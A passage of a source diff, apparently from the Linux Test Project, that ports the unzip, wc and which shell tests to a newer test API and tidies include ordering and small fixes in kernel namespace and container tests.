+	EXPECT_PASS unzip "$TST_DATAROOT/test.zip" \> unzip.out
 
-RC=0
-stat "$1" || exit $?
-init "$1" || exit $?
+	if diff -w unzip_exp.out unzip.out; then
+		tst_res TPASS "Unzip output is correct"
+	else
+		tst_res TFAIL "Unzip output is incorrect"
+		cat unzip.out
+	fi
 
-test01 "$1" || RC=$?
+	stable_ls "dir" > dir.out
 
-exit $RC
+	if diff "$TST_DATAROOT/dir.out" dir.out; then
+		tst_res TPASS "Files unzipped correctly"
+	else
+		tst_res TFAIL "Files unzipped incorrectly"
+		cat dir.out
+	fi
+
+	ROD rm -rf "dir/"
+}
+
+tst_run
diff --git a/testcases/commands/wc/wc01.sh b/testcases/commands/wc/wc01.sh
index 9bbb14d..2272dcb 100755
--- a/testcases/commands/wc/wc01.sh
+++ b/testcases/commands/wc/wc01.sh
@@ -16,28 +16,21 @@
 # Test wc command with some basic options.
 #
 
-TCID=wc01.sh
-TST_TOTAL=12
-. test.sh
+TST_ID="wc01"
+TST_CNT=12
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="wc"
+. tst_test.sh
 
 setup()
 {
-	tst_check_cmds wc
-
-	tst_tmpdir
-
-	TST_CLEANUP="cleanup"
-
 	echo "hello world" > ltp_wc
 
 	echo "This is a test" >> ltp_wc
 }
 
-cleanup()
-{
-	tst_rmdir
-}
-
 wc_test()
 {
 	local wc_opt=$1
@@ -50,9 +43,9 @@
 	if [ $? -ne 0 ]; then
 		grep -q -E "unknown option|invalid option" temp
 		if [ $? -eq 0 ]; then
-			tst_resm TCONF "$wc_cmd not supported."
+			tst_res TCONF "$wc_cmd not supported."
 		else
-			tst_resm TFAIL "$wc_cmd failed."
+			tst_res TFAIL "$wc_cmd failed."
 		fi
 		return
 	fi
@@ -60,28 +53,30 @@
 	if [ $# -gt 1 ]; then
 		local act_out=`cat temp | awk '{printf $1}'`
 		if [ $act_out -ne $std_out ]; then
-			tst_resm TFAIL "$wc_cmd got mismatched data."
+			tst_res TFAIL "$wc_cmd got mismatched data."
 			return
 		fi
 	fi
 
-	tst_resm TPASS "wc passed with $wc_opt option."
+	tst_res TPASS "wc passed with $wc_opt option."
 }
 
+do_test()
+{
+	case $1 in
+	1) wc_test "-c" ltp_wc 27;;
+	2) wc_test "--bytes" ltp_wc 27;;
+	3) wc_test "-l" ltp_wc 2;;
+	4) wc_test "--lines" ltp_wc 2;;
+	5) wc_test "-L" ltp_wc 14;;
+	6) wc_test "--max-line-length" ltp_wc 14;;
+	7) wc_test "-w" ltp_wc 6;;
+	8) wc_test "--words" ltp_wc 6;;
+	9) wc_test "-m" ltp_wc 27;;
+	10) wc_test "--chars" ltp_wc 27;;
+	11) wc_test "--help";;
+	12) wc_test "--version";;
+	esac
+}
 
-setup
-
-wc_test "-c" ltp_wc 27
-wc_test "--bytes" ltp_wc 27
-wc_test "-l" ltp_wc 2
-wc_test "--lines" ltp_wc 2
-wc_test "-L" ltp_wc 14
-wc_test "--max-line-length" ltp_wc 14
-wc_test "-w" ltp_wc 6
-wc_test "--words" ltp_wc 6
-wc_test "-m" ltp_wc 27
-wc_test "--chars" ltp_wc 27
-wc_test "--help"
-wc_test "--version"
-
-tst_exit
+tst_run
diff --git a/testcases/commands/which/which01.sh b/testcases/commands/which/which01.sh
index 5e28411..eb87095 100755
--- a/testcases/commands/which/which01.sh
+++ b/testcases/commands/which/which01.sh
@@ -16,18 +16,16 @@
 # Test which command with some basic options.
 #
 
-TCID=which01
-TST_TOTAL=10
-. test.sh
+TST_ID="which01"
+TST_CNT=10
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="which"
+. tst_test.sh
 
 setup()
 {
-	tst_check_cmds which
-
-	tst_tmpdir
-
-	TST_CLEANUP="cleanup"
-
 	touch pname
 	chmod +x pname
 	PATH=$PATH:.
@@ -40,17 +38,17 @@
 	alias pname='pname -i'
 }
 
-cleanup()
-{
-	tst_rmdir
-}
-
 which_verify()
 {
 	until [ -z "$1" ]
 	do
-		grep -q "$1" temp
-		if [ $? -ne 0 ]; then
+		found="no"
+		for i in $1; do
+			if grep -q "$i" temp; then
+				found="yes"
+			fi
+		done
+		if [ "$found" != "yes" ]; then
 			echo "'$1' not found in:"
 			cat temp
 			echo
@@ -76,11 +74,11 @@
 	if [ $? -ne 0 ]; then
 		grep -q -E "unknown option|invalid option|Usage" temp
 		if [ $? -eq 0 ]; then
-			tst_resm TCONF "'${which_cmd}' not supported."
+			tst_res TCONF "'${which_cmd}' not supported."
 			return
 		fi
 
-		tst_resm TFAIL "'${which_cmd}' failed."
+		tst_res TFAIL "'${which_cmd}' failed."
 		cat temp
 		return
 	fi
@@ -89,28 +87,30 @@
 		shift 2
 		which_verify "$@"
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "'${which_cmd}' failed, not expected."
+			tst_res TFAIL "'${which_cmd}' failed, not expected."
 			return
 		fi
 	fi
 
-	tst_resm TPASS "'${which_cmd}' passed."
+	tst_res TPASS "'${which_cmd}' passed."
 }
 
-setup
+do_test()
+{
+	case $1 in
+	1) which_test "" "pname" "$PWD/pname ./pname";;
+	2) which_test "--all" "pname" "$PWD/bin/pname" "$PWD/pname";;
+	3) which_test "-a" "pname" "$PWD/bin/pname ./bin/pname" "$PWD/pname ./pname";;
+	4) which_test "--read-alias" "pname" "pname='pname -i'" "$PWD/pname";;
+	5) which_test "-i" "pname" "pname='pname -i'" "$PWD/pname";;
+	6) alias which='which --read-alias';
+	   which_test "--skip-alias" "pname" "$PWD/pname";
+	   unalias which;;
+	7) which_test "--version";;
+	8) which_test "-v";;
+	9) which_test "-V";;
+	10) which_test "--help";;
+	esac
+}
 
-which_test "" "pname" "$PWD/pname"
-which_test "--all" "pname" "$PWD/bin/pname" "$PWD/pname"
-which_test "-a" "pname" "$PWD/bin/pname" "$PWD/pname"
-which_test "--read-alias" "pname" "pname='pname -i'" "$PWD/pname"
-which_test "-i" "pname" "pname='pname -i'" "$PWD/pname"
-
-alias which='which --read-alias'
-which_test "--skip-alias" "pname" "$PWD/pname"
-
-which_test "--version"
-which_test "-v"
-which_test "-V"
-which_test "--help"
-
-tst_exit
+tst_run
diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
index 453eae6..4dd1129 100644
--- a/testcases/kernel/Makefile
+++ b/testcases/kernel/Makefile
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
@@ -61,6 +61,11 @@
 
 endif
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_DIRS		+= containers controllers device-drivers fs io ipc mem \
+				sched security timers
+endif
+
 MAKE_DEPS		:= include/linux_syscall_numbers.h
 
 include:
diff --git a/testcases/kernel/connectors/Makefile b/testcases/kernel/connectors/Makefile
index 7661c57..04d8a4b 100644
--- a/testcases/kernel/connectors/Makefile
+++ b/testcases/kernel/connectors/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/connectors/pec/Makefile b/testcases/kernel/connectors/pec/Makefile
index 79866a4..fa0aa68 100644
--- a/testcases/kernel/connectors/pec/Makefile
+++ b/testcases/kernel/connectors/pec/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/connectors/pec/pec_listener.c b/testcases/kernel/connectors/pec/pec_listener.c
index a1beb13..d11e4dc 100644
--- a/testcases/kernel/connectors/pec/pec_listener.c
+++ b/testcases/kernel/connectors/pec/pec_listener.c
@@ -230,7 +230,7 @@
 	struct sockaddr_nl src_addr;
 	struct pollfd pfd;
 
-	sigint_action.sa_flags = SA_ONESHOT;
+	sigint_action.sa_flags = SA_RESETHAND;
 	sigint_action.sa_handler = &sigint_handler;
 	sigaction(SIGINT, &sigint_action, NULL);
 
diff --git a/testcases/kernel/containers/Makefile.inc b/testcases/kernel/containers/Makefile.inc
index 0750f50..179809b 100644
--- a/testcases/kernel/containers/Makefile.inc
+++ b/testcases/kernel/containers/Makefile.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # DO NOT USE THIS FILE FOR containers / libclone!!!
diff --git a/testcases/kernel/containers/mountns/mountns01.c b/testcases/kernel/containers/mountns/mountns01.c
index b0ba048..0bd0c59 100644
--- a/testcases/kernel/containers/mountns/mountns01.c
+++ b/testcases/kernel/containers/mountns/mountns01.c
@@ -40,16 +40,13 @@
 #include <sys/mount.h>
 #include <stdio.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
-#include "safe_macros.h"
 #include "mountns_helper.h"
-
+#include "test.h"
+#include "safe_macros.h"
 
 char *TCID	= "mountns01";
 int TST_TOTAL	= 2;
 
-
 #if defined(MS_SHARED) && defined(MS_PRIVATE) && defined(MS_REC)
 
 int child_func(void *arg LTP_ATTRIBUTE_UNUSED)
diff --git a/testcases/kernel/containers/mountns/mountns02.c b/testcases/kernel/containers/mountns/mountns02.c
index eb5301c..0e0e03e 100644
--- a/testcases/kernel/containers/mountns/mountns02.c
+++ b/testcases/kernel/containers/mountns/mountns02.c
@@ -40,16 +40,13 @@
 #include <sys/mount.h>
 #include <stdio.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
-#include "safe_macros.h"
 #include "mountns_helper.h"
-
+#include "test.h"
+#include "safe_macros.h"
 
 char *TCID	= "mountns02";
 int TST_TOTAL	= 2;
 
-
 #if defined(MS_SHARED) && defined(MS_PRIVATE) && defined(MS_REC)
 
 int child_func(void *arg LTP_ATTRIBUTE_UNUSED)
diff --git a/testcases/kernel/containers/mountns/mountns03.c b/testcases/kernel/containers/mountns/mountns03.c
index d21eade..196a361 100644
--- a/testcases/kernel/containers/mountns/mountns03.c
+++ b/testcases/kernel/containers/mountns/mountns03.c
@@ -44,16 +44,13 @@
 #include <stdio.h>
 #include <unistd.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
-#include "safe_macros.h"
 #include "mountns_helper.h"
-
+#include "test.h"
+#include "safe_macros.h"
 
 char *TCID	= "mountns03";
 int TST_TOTAL	= 2;
 
-
 #if defined(MS_SHARED) && defined(MS_PRIVATE) \
     && defined(MS_REC) && defined(MS_SLAVE)
 
diff --git a/testcases/kernel/containers/mountns/mountns04.c b/testcases/kernel/containers/mountns/mountns04.c
index 9ef22b0..1f022a6 100644
--- a/testcases/kernel/containers/mountns/mountns04.c
+++ b/testcases/kernel/containers/mountns/mountns04.c
@@ -32,16 +32,13 @@
 #include <sys/mount.h>
 #include <stdio.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
-#include "safe_macros.h"
 #include "mountns_helper.h"
-
+#include "test.h"
+#include "safe_macros.h"
 
 char *TCID	= "mountns04";
 int TST_TOTAL	= 1;
 
-
 #if defined(MS_SHARED) && defined(MS_PRIVATE) \
     && defined(MS_REC) && defined(MS_UNBINDABLE)
 
diff --git a/testcases/kernel/containers/mqns/mqns.h b/testcases/kernel/containers/mqns/mqns.h
index 1c624c2..5a90568 100644
--- a/testcases/kernel/containers/mqns/mqns.h
+++ b/testcases/kernel/containers/mqns/mqns.h
@@ -1,12 +1,6 @@
 #ifndef __MQNS_H
 #define __MQNS_H
 
-#include <sys/mount.h>
-#include <mqueue.h>
-#include "test.h"
-#include "linux_syscall_numbers.h"
-#include "libclone.h"
-
 #define DEV_MQUEUE "/dev/mqueue"
 #define DEV_MQUEUE2 "/dev/mqueue2"
 #define SLASH_MQ1 "/MQ1"
diff --git a/testcases/kernel/containers/mqns/mqns_helper.h b/testcases/kernel/containers/mqns/mqns_helper.h
index 8b57e32..1c7132b 100644
--- a/testcases/kernel/containers/mqns/mqns_helper.h
+++ b/testcases/kernel/containers/mqns/mqns_helper.h
@@ -19,10 +19,11 @@
 #include <sys/mount.h>
 #include <sys/stat.h>
 #include <sys/types.h>
+#include <mqueue.h>
 #include "../libclone/libclone.h"
-#include "test.h"
-#include "mqns.h"
+#include "linux_syscall_numbers.h"
 #include "safe_macros.h"
+#include "test.h"
 
 static int dummy_child(void *v)
 {
diff --git a/testcases/kernel/containers/netns/netns_helper.h b/testcases/kernel/containers/netns/netns_helper.h
index 2a331ae..7df6dcb 100644
--- a/testcases/kernel/containers/netns/netns_helper.h
+++ b/testcases/kernel/containers/netns/netns_helper.h
@@ -56,6 +56,12 @@
 	pclose(ipf);
 }
 
+static int dummy(void *arg)
+{
+	(void) arg;
+	return 0;
+}
+
 static void check_netns(void)
 {
 	int pid, status;
@@ -64,8 +70,8 @@
 		tst_brkm(TCONF | TERRNO, NULL, "CLONE_NEWNS (%d) not supported",
 			 CLONE_NEWNS);
 
-	pid = do_clone_unshare_test(T_UNSHARE, CLONE_NEWNET | CLONE_NEWNS, NULL,
-			NULL);
+	pid = do_clone_unshare_test(T_UNSHARE, CLONE_NEWNET | CLONE_NEWNS,
+	                            dummy, NULL);
 	if (pid == -1)
 		tst_brkm(TCONF | TERRNO, NULL,
 				"unshare syscall smoke test failed");
diff --git a/testcases/kernel/containers/netns/netns_netlink.c b/testcases/kernel/containers/netns/netns_netlink.c
index 0c22770..47e8235 100644
--- a/testcases/kernel/containers/netns/netns_netlink.c
+++ b/testcases/kernel/containers/netns/netns_netlink.c
@@ -40,10 +40,9 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <errno.h>
+#include "netns_helper.h"
 #include "test.h"
 #include "safe_macros.h"
-#include "netns_helper.h"
-
 
 #define MAX_TRIES 1000
 #define IP_TUNTAP_MIN_VER 100519
diff --git a/testcases/kernel/containers/netns/netns_sysfs.sh b/testcases/kernel/containers/netns/netns_sysfs.sh
index 290cef8..944a4c1 100644
--- a/testcases/kernel/containers/netns/netns_sysfs.sh
+++ b/testcases/kernel/containers/netns/netns_sysfs.sh
@@ -29,6 +29,10 @@
 DUMMYDEV="dummy_test1"
 . test.sh
 
+if tst_kvcmp -lt "2.6.35"; then
+	tst_brkm TCONF "sysfs is not mount namespace aware for kernels older than 2.6.35"
+fi
+
 setns_check
 if [ $? -eq 32 ]; then
 	tst_brkm TCONF "setns not supported"
diff --git a/testcases/kernel/containers/pidns/pidns01.c b/testcases/kernel/containers/pidns/pidns01.c
index c77aa64..ac702dd 100644
--- a/testcases/kernel/containers/pidns/pidns01.c
+++ b/testcases/kernel/containers/pidns/pidns01.c
@@ -54,9 +54,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns01";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/pidns/pidns02.c b/testcases/kernel/containers/pidns/pidns02.c
index c820706..60367fd 100644
--- a/testcases/kernel/containers/pidns/pidns02.c
+++ b/testcases/kernel/containers/pidns/pidns02.c
@@ -50,9 +50,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns02";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/pidns/pidns03.c b/testcases/kernel/containers/pidns/pidns03.c
index 230f15f..b735ab3 100644
--- a/testcases/kernel/containers/pidns/pidns03.c
+++ b/testcases/kernel/containers/pidns/pidns03.c
@@ -31,10 +31,9 @@
 #include <string.h>
 #include <unistd.h>
 #include <errno.h>
+#include "pidns_helper.h"
 #include "test.h"
 #include "safe_macros.h"
-#include "libclone.h"
-#include "pidns_helper.h"
 
 #define PROCDIR "proc"
 char *TCID = "pidns03";
@@ -56,6 +55,7 @@
 
 int child_func(void *arg)
 {
+	ssize_t r;
 	char buf[10];
 
 	if (mount("none", PROCDIR, "proc", MS_RDONLY, NULL) == -1) {
@@ -64,12 +64,15 @@
 	}
 
 	/* self is symlink to directory named after current pid number */
-	if (readlink(PROCDIR"/self", buf, sizeof(buf)) == -1) {
+	r = readlink(PROCDIR"/self", buf, sizeof(buf)-1);
+	if (r == -1) {
 		perror("readlink");
 		umount(PROCDIR);
 		return 1;
 	}
 
+	buf[r] = '\0';
+
 	umount(PROCDIR);
 
 	/* child should have PID 1 in a new pid namespace - if true
diff --git a/testcases/kernel/containers/pidns/pidns04.c b/testcases/kernel/containers/pidns/pidns04.c
index 8075440..0c50e4f 100644
--- a/testcases/kernel/containers/pidns/pidns04.c
+++ b/testcases/kernel/containers/pidns/pidns04.c
@@ -56,10 +56,9 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #define CLEANUP cleanup
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 #define INIT_PID	1
 #define CHILD_PID       1
diff --git a/testcases/kernel/containers/pidns/pidns05.c b/testcases/kernel/containers/pidns/pidns05.c
index 37e6dca..cdcf76a 100644
--- a/testcases/kernel/containers/pidns/pidns05.c
+++ b/testcases/kernel/containers/pidns/pidns05.c
@@ -47,9 +47,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
-#include <libclone.h>
 #include "pidns_helper.h"
+#include "test.h"
 
 #define INIT_PID	1
 #define CINIT_PID	1
diff --git a/testcases/kernel/containers/pidns/pidns06.c b/testcases/kernel/containers/pidns/pidns06.c
index 0af5ae9..cdb4726 100644
--- a/testcases/kernel/containers/pidns/pidns06.c
+++ b/testcases/kernel/containers/pidns/pidns06.c
@@ -41,10 +41,9 @@
 #include <assert.h>
 #include <unistd.h>
 #include <errno.h>
-#include "test.h"
-#include <libclone.h>
 #include <signal.h>
 #include "pidns_helper.h"
+#include "test.h"
 
 #define CINIT_PID       1
 #define PARENT_PID      0
diff --git a/testcases/kernel/containers/pidns/pidns10.c b/testcases/kernel/containers/pidns/pidns10.c
index 5485697..291b054 100644
--- a/testcases/kernel/containers/pidns/pidns10.c
+++ b/testcases/kernel/containers/pidns/pidns10.c
@@ -41,13 +41,11 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns10";
 int TST_TOTAL = 1;
-int errno;
 
 int child_fn(void *);
 
diff --git a/testcases/kernel/containers/pidns/pidns12.c b/testcases/kernel/containers/pidns/pidns12.c
index 27548be..d38f1a0 100644
--- a/testcases/kernel/containers/pidns/pidns12.c
+++ b/testcases/kernel/containers/pidns/pidns12.c
@@ -42,13 +42,11 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include <stdio.h>
-#include "test.h"
-#include <libclone.h>
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns12";
 int TST_TOTAL = 1;
-int errno;
 int pipefd[2];
 
 #define CHILD_PID       1
diff --git a/testcases/kernel/containers/pidns/pidns13.c b/testcases/kernel/containers/pidns/pidns13.c
index 92056c2..e8ab7ce 100644
--- a/testcases/kernel/containers/pidns/pidns13.c
+++ b/testcases/kernel/containers/pidns/pidns13.c
@@ -45,9 +45,8 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include <stdio.h>
-#include "test.h"
-#include <libclone.h>
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns13";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/pidns/pidns16.c b/testcases/kernel/containers/pidns/pidns16.c
index 4399fb0..6d4f209 100644
--- a/testcases/kernel/containers/pidns/pidns16.c
+++ b/testcases/kernel/containers/pidns/pidns16.c
@@ -46,9 +46,8 @@
 #include <sys/types.h>
 #include <signal.h>
 #include <unistd.h>
-#include "test.h"
-#include <libclone.h>
 #include "pidns_helper.h"
+#include "test.h"
 
 #define CHILD_PID	1
 #define PARENT_PID	0
diff --git a/testcases/kernel/containers/pidns/pidns17.c b/testcases/kernel/containers/pidns/pidns17.c
index 513071c..79f112a 100644
--- a/testcases/kernel/containers/pidns/pidns17.c
+++ b/testcases/kernel/containers/pidns/pidns17.c
@@ -42,13 +42,11 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns17";
 int TST_TOTAL = 1;
-int errno;
 
 int child_fn(void *);
 
diff --git a/testcases/kernel/containers/pidns/pidns20.c b/testcases/kernel/containers/pidns/pidns20.c
index 67c4707..630e6c3 100644
--- a/testcases/kernel/containers/pidns/pidns20.c
+++ b/testcases/kernel/containers/pidns/pidns20.c
@@ -46,14 +46,12 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include <stdio.h>
-#include "test.h"
-#include <libclone.h>
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns20";
 int TST_TOTAL = 1;
 
-int errno;
 int parent_cinit[2];
 int cinit_parent[2];
 int broken = 1;			/* broken should be 0 when test completes properly */
diff --git a/testcases/kernel/containers/pidns/pidns30.c b/testcases/kernel/containers/pidns/pidns30.c
index ff47778..849240c 100644
--- a/testcases/kernel/containers/pidns/pidns30.c
+++ b/testcases/kernel/containers/pidns/pidns30.c
@@ -51,10 +51,9 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <mqueue.h>
-#include "test.h"
 #include "linux_syscall_numbers.h"
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns30";
 int TST_TOTAL = 1;
@@ -62,7 +61,6 @@
 char *mqname = "mq1";
 int result = TFAIL;
 
-int errno;
 int father_to_child[2];
 int child_to_father[2];
 
diff --git a/testcases/kernel/containers/pidns/pidns31.c b/testcases/kernel/containers/pidns/pidns31.c
index 9c4b5ef..aaf0c0f 100644
--- a/testcases/kernel/containers/pidns/pidns31.c
+++ b/testcases/kernel/containers/pidns/pidns31.c
@@ -53,10 +53,9 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <mqueue.h>
-#include "test.h"
 #include "linux_syscall_numbers.h"
-#include "libclone.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 char *TCID = "pidns31";
 int TST_TOTAL = 1;
@@ -64,7 +63,6 @@
 char *mqname = "mq1";
 int result = TFAIL;
 
-int errno;
 int father_to_child[2];
 
 #define CHILD_PID       1
diff --git a/testcases/kernel/containers/pidns/pidns32.c b/testcases/kernel/containers/pidns/pidns32.c
index 4c9b8ee..316c5d1 100644
--- a/testcases/kernel/containers/pidns/pidns32.c
+++ b/testcases/kernel/containers/pidns/pidns32.c
@@ -24,8 +24,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #include "pidns_helper.h"
+#include "test.h"
 
 #define MAXNEST 32
 
diff --git a/testcases/kernel/containers/sysvipc/msg_comm.c b/testcases/kernel/containers/sysvipc/msg_comm.c
index 7e3f5e8..0da3289 100644
--- a/testcases/kernel/containers/sysvipc/msg_comm.c
+++ b/testcases/kernel/containers/sysvipc/msg_comm.c
@@ -33,11 +33,9 @@
 #include <sys/wait.h>
 #include <stdio.h>
 #include <errno.h>
+#include "ipcns_helper.h"
 #include "test.h"
 #include "safe_macros.h"
-#include "libclone.h"
-#include "ipcns_helper.h"
-
 
 #define TESTKEY 124426L
 #define MSGSIZE 50
diff --git a/testcases/kernel/containers/sysvipc/sem_comm.c b/testcases/kernel/containers/sysvipc/sem_comm.c
index b5f6d9e..09cc163 100644
--- a/testcases/kernel/containers/sysvipc/sem_comm.c
+++ b/testcases/kernel/containers/sysvipc/sem_comm.c
@@ -32,10 +32,9 @@
 #include <sys/wait.h>
 #include <stdio.h>
 #include <errno.h>
+#include "ipcns_helper.h"
 #include "test.h"
 #include "safe_macros.h"
-#include "libclone.h"
-#include "ipcns_helper.h"
 #include "lapi/semun.h"
 
 #define TESTKEY 124426L
diff --git a/testcases/kernel/containers/sysvipc/shm_comm.c b/testcases/kernel/containers/sysvipc/shm_comm.c
index 7819490..4b3bbfa 100644
--- a/testcases/kernel/containers/sysvipc/shm_comm.c
+++ b/testcases/kernel/containers/sysvipc/shm_comm.c
@@ -33,10 +33,9 @@
 #include <sys/wait.h>
 #include <stdio.h>
 #include <errno.h>
+#include "ipcns_helper.h"
 #include "test.h"
 #include "safe_macros.h"
-#include "libclone.h"
-#include "ipcns_helper.h"
 
 
 #define TESTKEY 124426L
diff --git a/testcases/kernel/containers/sysvipc/shmnstest.c b/testcases/kernel/containers/sysvipc/shmnstest.c
index 6432b1e..cf69cab 100644
--- a/testcases/kernel/containers/sysvipc/shmnstest.c
+++ b/testcases/kernel/containers/sysvipc/shmnstest.c
@@ -31,9 +31,8 @@
 #include <errno.h>
 #include <sys/ipc.h>
 #include <sys/shm.h>
-#include "test.h"
-#include <libclone.h>
 #include "ipcns_helper.h"
+#include "test.h"
 
 char *TCID = "sysvipc_namespace";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/userns/userns01.c b/testcases/kernel/containers/userns/userns01.c
index 3c55f8a..1c8cf57 100644
--- a/testcases/kernel/containers/userns/userns01.c
+++ b/testcases/kernel/containers/userns/userns01.c
@@ -28,9 +28,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
 #include "userns_helper.h"
+#include "test.h"
 #include "config.h"
 #if HAVE_SYS_CAPABILITY_H
 #include <sys/capability.h>
diff --git a/testcases/kernel/containers/userns/userns02.c b/testcases/kernel/containers/userns/userns02.c
index 32db7bc..ae49a15 100644
--- a/testcases/kernel/containers/userns/userns02.c
+++ b/testcases/kernel/containers/userns/userns02.c
@@ -25,8 +25,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #include "userns_helper.h"
+#include "test.h"
 
 char *TCID = "user_namespace2";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/userns/userns03.c b/testcases/kernel/containers/userns/userns03.c
index b01860d..be511fe 100644
--- a/testcases/kernel/containers/userns/userns03.c
+++ b/testcases/kernel/containers/userns/userns03.c
@@ -47,9 +47,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
-#include "libclone.h"
 #include "userns_helper.h"
+#include "test.h"
 
 #define CHILD1UID 0
 #define CHILD1GID 0
diff --git a/testcases/kernel/containers/userns/userns04.c b/testcases/kernel/containers/userns/userns04.c
index 4d38891..f7d6e80 100644
--- a/testcases/kernel/containers/userns/userns04.c
+++ b/testcases/kernel/containers/userns/userns04.c
@@ -26,8 +26,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #include "userns_helper.h"
+#include "test.h"
 
 char *TCID = "user_namespace4";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/userns/userns05.c b/testcases/kernel/containers/userns/userns05.c
index 8eac729..be77cb7 100644
--- a/testcases/kernel/containers/userns/userns05.c
+++ b/testcases/kernel/containers/userns/userns05.c
@@ -29,8 +29,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #include "userns_helper.h"
+#include "test.h"
 
 char *TCID = "user_namespace5";
 int TST_TOTAL = 1;
diff --git a/testcases/kernel/containers/userns/userns06_capcheck.c b/testcases/kernel/containers/userns/userns06_capcheck.c
index a34610e..31f7e0a 100644
--- a/testcases/kernel/containers/userns/userns06_capcheck.c
+++ b/testcases/kernel/containers/userns/userns06_capcheck.c
@@ -27,8 +27,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #include "libclone.h"
+#include "test.h"
 #include "config.h"
 #if HAVE_SYS_CAPABILITY_H
 #include <sys/capability.h>
diff --git a/testcases/kernel/containers/userns/userns07.c b/testcases/kernel/containers/userns/userns07.c
index 139e8b7..4991596 100644
--- a/testcases/kernel/containers/userns/userns07.c
+++ b/testcases/kernel/containers/userns/userns07.c
@@ -24,8 +24,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
-#include "test.h"
 #include "userns_helper.h"
+#include "test.h"
 
 #define MAXNEST 32
 
diff --git a/testcases/kernel/containers/utsname/utstest.c b/testcases/kernel/containers/utsname/utstest.c
index fbec910..d22db79 100644
--- a/testcases/kernel/containers/utsname/utstest.c
+++ b/testcases/kernel/containers/utsname/utstest.c
@@ -52,8 +52,8 @@
 #include <unistd.h>
 #include <string.h>
 #include <errno.h>
+#include "libclone.h"
 #include "test.h"
-#include <libclone.h>
 #include "safe_macros.h"
 
 char *TCID = "uts_namespace";
diff --git a/testcases/kernel/controllers/Makefile b/testcases/kernel/controllers/Makefile
index 80e5e9e..4040739 100644
--- a/testcases/kernel/controllers/Makefile
+++ b/testcases/kernel/controllers/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/controllers/Makefile.inc b/testcases/kernel/controllers/Makefile.inc
index b106283..4ca0b5a 100644
--- a/testcases/kernel/controllers/Makefile.inc
+++ b/testcases/kernel/controllers/Makefile.inc
